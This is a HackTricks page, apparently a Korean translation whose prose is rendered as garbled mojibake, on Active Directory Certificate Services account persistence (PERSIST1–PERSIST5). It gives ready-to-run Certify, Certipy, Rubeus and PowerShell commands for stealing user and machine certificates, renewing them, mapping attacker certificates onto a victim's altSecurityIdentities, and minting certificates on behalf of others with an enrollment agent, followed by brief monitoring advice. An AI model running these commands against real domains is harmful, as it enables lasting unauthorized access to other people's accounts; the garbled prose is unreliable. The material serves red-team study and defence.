AD CS Account Persistence
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
μ΄κ²μ https://specterops.io/assets/resources/Certified_Pre-Owned.pdfμμμ λ©μ§ μ°κ΅¬μ κ³μ μ§μμ± μ₯μ λν κ°λ¨ν μμ½μ λλ€.
μΈμ¦μλ₯Ό ν΅ν νμ± μ¬μ©μ μ격 μ¦λͺ λλ μ΄ν΄ β PERSIST1
μ¬μ©μκ° λλ©μΈ μΈμ¦μ νμ©νλ μΈμ¦μλ₯Ό μμ²ν μ μλ μλ리μ€μμ, 곡격μλ μ΄ μΈμ¦μλ₯Ό μμ²νκ³ νμ³ λ€νΈμν¬μμ μ§μμ±μ μ μ§ν κΈ°νλ₯Ό κ°μ΅λλ€. κΈ°λ³Έμ μΌλ‘ Active Directoryμ User ν
νλ¦Ώμ μ΄λ¬ν μμ²μ νμ©νμ§λ§, λλλ‘ λΉνμ±νλ μ μμ΅λλ€.
Certify λλ Certipyλ₯Ό μ¬μ©νμ¬ ν΄λΌμ΄μΈνΈ μΈμ¦μ νμ©νλ νμ±νλ ν νλ¦Ώμ κ²μν λ€μ μμ²ν μ μμ΅λλ€:
# Enumerate client-auth capable templates
Certify.exe find /clientauth
# Request a user cert from an Enterprise CA (current user context)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
μΈμ¦μμ νμ μΈμ¦μκ° μ ν¨ν ν, λΉλ°λ²νΈ λ³κ²½κ³Ό κ΄κ³μμ΄ μμλ μ¬μ©μλ‘μ μΈμ¦ν μ μλ λ₯λ ₯μ μμ΅λλ€.
PEMμ PFXλ‘ λ³ννκ³ μ΄λ₯Ό μ¬μ©νμ¬ TGTλ₯Ό μ»μ μ μμ΅λλ€:
# Convert PEM returned by Certify to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Use certificate for PKINIT and inject the TGT
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
# Or with Certipy
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
μ°Έκ³ : λ€λ₯Έ κΈ°μ κ³Ό κ²°ν©νμ¬ (THEFT μΉμ μ°Έμ‘°), μΈμ¦μ κΈ°λ° μΈμ¦μ LSASSμ μ κ·Όνμ§ μκ³ λ λΉμΉκ²© 컨ν μ€νΈμμ μ§μμ μΈ μ κ·Όμ νμ©ν©λλ€.
μΈμ¦μλ₯Ό ν΅ν λ¨Έμ μ§μμ± ν보 - PERSIST2
곡격μκ° νΈμ€νΈμμ μμΉλ κΆνμ κ°μ§κ³ μλ€λ©΄, κΈ°λ³Έ Machine ν
νλ¦Ώμ μ¬μ©νμ¬ μμλ μμ€ν
μ λ¨Έμ κ³μ μ μΈμ¦μμ λ±λ‘ν μ μμ΅λλ€. λ¨Έμ μΌλ‘ μΈμ¦νλ©΄ λ‘컬 μλΉμ€μ λν΄ S4U2Selfλ₯Ό νμ±νν μ μμΌλ©°, μ΄λ λ΄κ΅¬μ± μλ νΈμ€νΈ μ§μμ±μ μ 곡ν μ μμ΅λλ€:
# Request a machine certificate as SYSTEM
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
# Authenticate as the machine using the issued PFX
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
Extending Persistence Through Certificate Renewal - PERSIST3
μΈμ¦μ ν νλ¦Ώμ μ ν¨μ± λ° κ°±μ κΈ°κ°μ μ μ©νλ©΄ 곡격μκ° μ₯κΈ°μ μΈ μ κ·Όμ μ μ§ν μ μμ΅λλ€. μ΄μ μ λ°κΈλ μΈμ¦μμ κ·Έ κ°μΈ ν€λ₯Ό μμ νκ³ μλ€λ©΄, λ§λ£ μ μ μ΄λ₯Ό κ°±μ νμ¬ μλ 주체μ μ°κ²°λ μΆκ° μμ² μν°ν©νΈ μμ΄ μλ‘κ³ μ₯κΈ°μ μΈ μ격 μ¦λͺ μ μ»μ μ μμ΅λλ€.
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
# Provide the existing PFX and target the same CA/template when possible
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
# Native Windows renewal with certreq
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
μ΄μ ν: 곡격μκ° λ³΄μ ν PFX νμΌμ μλͺ μ μΆμ νκ³ μ‘°κΈ°μ κ°±μ νμμμ€. κ°±μ μ λν μ λ°μ΄νΈλ μΈμ¦μκ° νλ SID λ§€ν νμ₯μ ν¬ν¨νλλ‘ νμ¬ λ μ격ν DC λ§€ν κ·μΉ νμμλ μ¬μ© κ°λ₯νκ² μ μ§ν©λλ€(λ€μ μΉμ μ°Έμ‘°).
λͺ μμ μΈμ¦μ λ§€ν μ¬κΈ° (altSecurityIdentities) β PERSIST4
λμ κ³μ μ altSecurityIdentities μμ±μ μΈ μ μλ€λ©΄, 곡격μκ° μ μ΄νλ μΈμ¦μλ₯Ό ν΄λΉ κ³μ μ λͺ
μμ μΌλ‘ λ§€νν μ μμ΅λλ€. μ΄λ λΉλ°λ²νΈ λ³κ²½μ λμ΄ μ§μλλ©°, κ°λ ₯ν λ§€ν νμμ μ¬μ©ν κ²½μ° νλ DC μ§ν νμμλ κΈ°λ₯μ μ μ§ν©λλ€.
κ³ μμ€ νλ¦:
- μ μ΄νλ ν΄λΌμ΄μΈνΈ μΈμ¦μλ₯Ό μ»κ±°λ λ°κΈν©λλ€(μ:
Userν νλ¦Ώμ λ³ΈμΈμΌλ‘ λ±λ‘). - μΈμ¦μμμ κ°λ ₯ν μλ³μλ₯Ό μΆμΆν©λλ€(λ°κΈμ+μΌλ ¨λ²νΈ, SKI λλ SHA1-곡κ°ν€).
- ν΄λΉ μλ³μλ₯Ό μ¬μ©νμ¬ νΌν΄μ 주체μ
altSecurityIdentitiesμ λͺ μμ λ§€νμ μΆκ°ν©λλ€. - μΈμ¦μλ‘ μΈμ¦ν©λλ€; DCλ μ΄λ₯Ό λͺ μμ λ§€νμ ν΅ν΄ νΌν΄μμκ² λ§€νν©λλ€.
μμ (PowerShell) κ°λ ₯ν λ°κΈμ+μΌλ ¨λ²νΈ λ§€ν μ¬μ©:
# Example values - reverse the issuer DN and serial as required by AD mapping format
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
$Map = "X509:<I>$Issuer<SR>$SerialR"
# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
κ·Έλ° λ€μ PFXλ‘ μΈμ¦ν©λλ€. Certipyλ TGTλ₯Ό μ§μ μ»μ΅λλ€:
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
λ ΈνΈ
- κ°λ ₯ν λ§€ν μ νλ§ μ¬μ©νμμμ€: X509IssuerSerialNumber, X509SKI λλ X509SHA1PublicKey. μ½ν νμ(Subject/Issuer, Subject-only, RFC822 μ΄λ©μΌ)μ λ μ΄μ μ¬μ©λμ§ μμΌλ©° DC μ μ± μ μν΄ μ°¨λ¨λ μ μμ΅λλ€.
- μΈμ¦μ 체μΈμ DCμμ μ λ’°νλ 루νΈλ‘ ꡬμΆλμ΄μΌ ν©λλ€. NTAuthμ μν°νλΌμ΄μ¦ CAλ μΌλ°μ μΌλ‘ μ λ’°λλ©°, μΌλΆ νκ²½μμλ κ³΅μ© CAλ μ λ’°ν©λλ€.
μ½ν λͺ μμ λ§€ν λ° κ³΅κ²© κ²½λ‘μ λν μμΈν λ΄μ©μ λ€μμ μ°Έμ‘°νμμμ€:
Enrollment Agent as Persistence β PERSIST5
μ ν¨ν Certificate Request Agent/Enrollment Agent μΈμ¦μλ₯Ό μ»μΌλ©΄ μ¬μ©μλ₯Ό λμ νμ¬ μλ‘μ΄ λ‘κ·Έμ¨ κ°λ₯ μΈμ¦μλ₯Ό λ§μλλ‘ λ°κΈν μ μμΌλ©°, μμ΄μ νΈ PFXλ₯Ό μ€νλΌμΈ μνλ‘ μ μ§νμ¬ μ§μμ± ν ν°μΌλ‘ μ¬μ©ν μ μμ΅λλ€. λ¨μ© μν¬νλ‘μ°:
# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
# Mint a user cert on behalf of another principal using the agent PFX
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
# Or with Certipy
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
μμ΄μ νΈ μΈμ¦μ λλ ν νλ¦Ώ κΆνμ μ·¨μκ° μ΄ μ§μμ±μ μ κ±°νλ λ° νμν©λλ€.
2025 κ°λ ₯ν μΈμ¦μ λ§€ν μν: μ§μμ±μ λ―ΈμΉλ μν₯
Microsoft KB5014754λ λλ©μΈ 컨νΈλ‘€λ¬μμ κ°λ ₯ν μΈμ¦μ λ§€ν μνμ λμ νμ΅λλ€. 2025λ 2μ 11μΌλΆν° DCλ κΈ°λ³Έμ μΌλ‘ μ 체 μνμΌλ‘ μ€μ λμ΄ μ½ν/λͺ¨νΈν λ§€νμ κ±°λΆν©λλ€. μ€μ§μ μΈ μλ―Έ:
- SID λ§€ν νμ₯μ΄ μλ 2022λ
μ΄μ μΈμ¦μλ DCκ° μ 체 μν μνμΌ λ μ묡μ λ§€νμ μ€ν¨ν μ μμ΅λλ€. 곡격μλ AD CSλ₯Ό ν΅ν΄ μΈμ¦μλ₯Ό κ°±μ νμ¬ SID νμ₯μ μ»κ±°λ
altSecurityIdentitiesμ κ°λ ₯ν λͺ μμ λ§€νμ μ¬μ΄ μ κ·Όμ μ μ§ν μ μμ΅λλ€ (PERSIST4). - κ°λ ₯ν νμ(λ°κΈμ+μΌλ ¨λ²νΈ, SKI, SHA1-곡κ°ν€)μ μ¬μ©νλ λͺ μμ λ§€νμ κ³μ μλν©λλ€. μ½ν νμ(λ°κΈμ/주체, 주체 μ μ©, RFC822)μ μ°¨λ¨λ μ μμΌλ©° μ§μμ±μ μν΄ νΌν΄μΌ ν©λλ€.
κ΄λ¦¬μλ λ€μμ λͺ¨λν°λ§νκ³ κ²½κ³ ν΄μΌ ν©λλ€:
altSecurityIdentitiesμ λ³κ²½ λ° λ±λ‘ μμ΄μ νΈ λ° μ¬μ©μ μΈμ¦μμ λ°κΈ/κ°±μ .- λ리 μμ² λ° λΉμ μμ μΈ κ°±μ ν¨ν΄μ λν CA λ°κΈ λ‘κ·Έ.
μ°Έμ‘°
- Microsoft. KB5014754: Windows λλ©μΈ 컨νΈλ‘€λ¬μ μΈμ¦μ κΈ°λ° μΈμ¦ λ³κ²½ μ¬ν (μν μΌμ λ° κ°λ ₯ν λ§€ν). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Wiki β λͺ
λ Ή μ°Έμ‘° (
req -renew,auth,shadow). https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


